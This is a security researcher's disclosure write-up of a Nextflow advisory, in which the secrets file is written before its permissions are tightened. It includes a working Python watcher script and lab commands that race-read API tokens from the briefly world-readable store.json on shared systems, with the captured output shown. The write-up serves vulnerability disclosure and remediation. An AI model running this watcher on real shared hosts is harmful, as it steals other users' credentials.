Overview

local secrets store race in nextflow

August 18, 2026
5 min read

TL;DR

I reported GHSA-4cmm-q94h-8g5j in Nextflow.

This was a local credential disclosure vulnerability caused by a write-before-chmod race condition in the local secrets provider.

Nextflow writes the secrets JSON file to disk before applying owner-only permissions. On systems with a permissive umask such as 022, the file is briefly created as world-readable (0644) and only afterward changed to 0600.

On shared local, HPC, or CI filesystems, another local user who can traverse the $NXF_HOME or NXF_SECRETS_FILE parent directory can race-read newly stored secrets during that window.

The bug

The affected code lives in the local secrets provider module:

modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy

The flow looked like this:

makeStoreFile()
-> resolves store path from NXF_SECRETS_FILE or $NXF_HOME/secrets/store.json
-> parent directories created with mkdirs() using process default permissions
storeSecrets()
-> serializes secrets to JSON
-> Files.write(storeFile, json.getBytes('utf-8')) // file created with umask-derived permissions
-> storeFile.setPermissions('rw-------') // chmod happens AFTER write

With a common umask of 022, the write creates the file with 0644 permissions. Only after writing the secret content does Nextflow call setPermissions('rw-------') to tighten it to 0600.

That creates a race window where the file exists on disk with group/other read bits set.

The parent directories are also affected. $NXF_HOME is created with mkdir() using process default permissions, so with umask 022 the directory itself is 0755 instead of 0700.

Why it happened

The root cause is the order of operations:

  1. Create the file
  2. Write the secret content
  3. Fix the permissions

The correct order would be:

  1. Create the file with restrictive permissions
  2. Write the secret content

Or at minimum, apply the permissions atomically as part of file creation using POSIX APIs that support mode flags.

The relevant code paths called out in the advisory are:

modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy
modules/nf-commons/src/main/nextflow/Const.groovy
modules/nf-commons/src/main/nextflow/extension/FilesEx.groovy

FilesEx.groovy applies POSIX permissions as a separate post-creation step, which is what opens the window.

PoC

The attacker uses a watcher script that continuously checks the file’s permissions. It only captures the secret if the file has group/other read bits at the time of read.

#!/usr/bin/env python3
import json
import stat
import sys
import time
from pathlib import Path
store = Path(sys.argv[1])
token_prefix = sys.argv[2]
out = Path(sys.argv[3])
deadline = time.monotonic() + float(sys.argv[4])
attempts = 0
saw_world_readable = 0
saw_modes = {}
while time.monotonic() < deadline:
attempts += 1
try:
st = store.stat()
except FileNotFoundError:
continue
mode = stat.S_IMODE(st.st_mode)
saw_modes[oct(mode)] = saw_modes.get(oct(mode), 0) + 1
if not (mode & 0o044):
continue
saw_world_readable += 1
try:
data = store.read_text("utf-8", errors="replace")
except OSError:
continue
if token_prefix in data:
out.write_text(json.dumps({
"captured": True,
"attempts": attempts,
"mode_at_read": oct(mode),
"store": str(store),
"data": data,
"saw_world_readable": saw_world_readable,
"saw_modes": saw_modes,
}, indent=2))
raise SystemExit(0)
out.write_text(json.dumps({
"captured": False,
"attempts": attempts,
"store": str(store),
"saw_world_readable": saw_world_readable,
"saw_modes": saw_modes,
}, indent=2))
raise SystemExit(1)

PoC 1: explicit shared NXF_SECRETS_FILE

Terminal window
LAB=/tmp/nxf-secrets-race-lab
STORE="$LAB/shared/store.json"
CAPTURE="$LAB/capture.json"
rm -rf "$LAB"
mkdir -p "$LAB/shared"
chmod 755 "$LAB" "$LAB/shared"
python3 watch_secret_race.py "$STORE" SUPERSECRET_ "$CAPTURE" 180 &
WATCH_PID=$!
umask 022
NXF_HOME="$LAB/nxf-home" NXF_SECRETS_FILE="$STORE" \
./nextflow secrets set API_TOKEN "SUPERSECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/shared" "$STORE"
cat "$CAPTURE"

Observed result:

755 /tmp/nxf-secrets-race-lab
755 /tmp/nxf-secrets-race-lab/shared
600 /tmp/nxf-secrets-race-lab/shared/store.json

The watcher captured the secret while the file was still 0644:

{
"captured": true,
"mode_at_read": "0o644",
"store": "/tmp/nxf-secrets-race-lab/shared/store.json",
"data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"SUPERSECRET_1\"\n }\n]",
"saw_world_readable": 18
}

PoC 2: default $NXF_HOME/secrets/store.json

Terminal window
LAB=/tmp/nxf-secrets-race-default-home
STORE="$LAB/nxf-home/secrets/store.json"
CAPTURE="$LAB/capture.json"
rm -rf "$LAB"
mkdir -p "$LAB"
chmod 755 "$LAB"
python3 watch_secret_race.py "$STORE" HOMESECRET_ "$CAPTURE" 180 &
WATCH_PID=$!
umask 022
NXF_HOME="$LAB/nxf-home" \
./nextflow secrets set API_TOKEN "HOMESECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE"
cat "$CAPTURE"

Observed result:

755 /tmp/nxf-secrets-race-default-home
755 /tmp/nxf-secrets-race-default-home/nxf-home
755 /tmp/nxf-secrets-race-default-home/nxf-home/secrets
600 /tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json

Watcher output:

{
"captured": true,
"mode_at_read": "0o644",
"store": "/tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json",
"data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"HOMESECRET_1\"\n }\n]",
"saw_world_readable": 12
}

Negative control: umask 077

With a restrictive umask, the race was not exploitable because the file and parent directories were never group/other readable:

Terminal window
LAB=/tmp/nxf-secrets-race-umask077
STORE="$LAB/nxf-home/secrets/store.json"
CAPTURE="$LAB/capture.json"
rm -rf "$LAB"
mkdir -p "$LAB"
chmod 755 "$LAB"
python3 watch_secret_race.py "$STORE" UMASKSECRET_ "$CAPTURE" 30 &
WATCH_PID=$!
umask 077
NXF_HOME="$LAB/nxf-home" \
./nextflow secrets set API_TOKEN "UMASKSECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE"
cat "$CAPTURE"

Observed result:

755 /tmp/nxf-secrets-race-umask077
700 /tmp/nxf-secrets-race-umask077/nxf-home
700 /tmp/nxf-secrets-race-umask077/nxf-home/secrets
600 /tmp/nxf-secrets-race-umask077/nxf-home/secrets/store.json
{
"captured": false,
"saw_world_readable": 0,
"saw_modes": {
"0o600": 513512
}
}

The negative control matters because it confirms the vulnerability is specifically tied to the umask-dependent permission window, not a logic bug in the secrets store itself.

Impact

This is a local credential disclosure vulnerability.

The attacker needs:

  • local or shared-filesystem access
  • ability to traverse the $NXF_HOME or NXF_SECRETS_FILE parent directory
  • a victim running with a permissive umask (e.g. 022)

The attacker does not need to control the victim’s workflow code, configuration, or secret value. They only need local read access during secret creation.

Secrets stored through nextflow secrets set may include:

  • API tokens for cloud providers
  • Service credentials used by Nextflow workflows
  • Container registry authentication tokens
  • Other sensitive configuration values

On shared HPC clusters and CI environments where multiple users share a filesystem, this is a realistic attack surface. The attacker just needs a watcher process running in the background.

The fix

The fix requires creating the secrets file with restrictive permissions before writing content.

Instead of:

1. Files.write(storeFile, bytes)
2. storeFile.setPermissions('rw-------')

The correct approach is:

1. Create file with mode 0600 (e.g. via OpenOption or PosixFilePermissions)
2. Write secret content

This eliminates the race window entirely. The file is never world-readable at any point during its lifecycle.

Parent directories should also be created with restrictive permissions to prevent directory traversal in the first place.

Versions and details

  • Advisory: GHSA-4cmm-q94h-8g5j
  • Package: nextflow-io/nextflow
  • CVE: CVE-2026-73977
  • Affected: 26.05.0-edge
  • Patched: None yet
  • Severity: Moderate
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
  • Weakness: CWE-367 (Time-of-Check Time-of-Use Race Condition), CWE-732 (Incorrect Permission Assignment for Critical Resource)
  • Credit: baradika

Reference